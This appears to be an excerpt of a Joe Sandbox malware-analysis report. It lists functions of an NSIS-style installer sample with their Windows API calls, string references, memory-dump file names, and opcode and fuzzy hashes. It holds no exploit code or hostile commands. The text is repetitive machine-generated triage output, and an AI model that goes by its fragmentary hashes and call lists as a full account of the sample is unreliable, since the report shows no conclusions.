lstrlenW.KERNEL32(004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(008CAFB8), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
ObservationBracelets, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$ObservationBracelets$Pop: stack empty
API String ID: 1459762280-3625552014
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
ObservationBracelets, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$ObservationBracelets$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1860994982
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425976,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425976,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

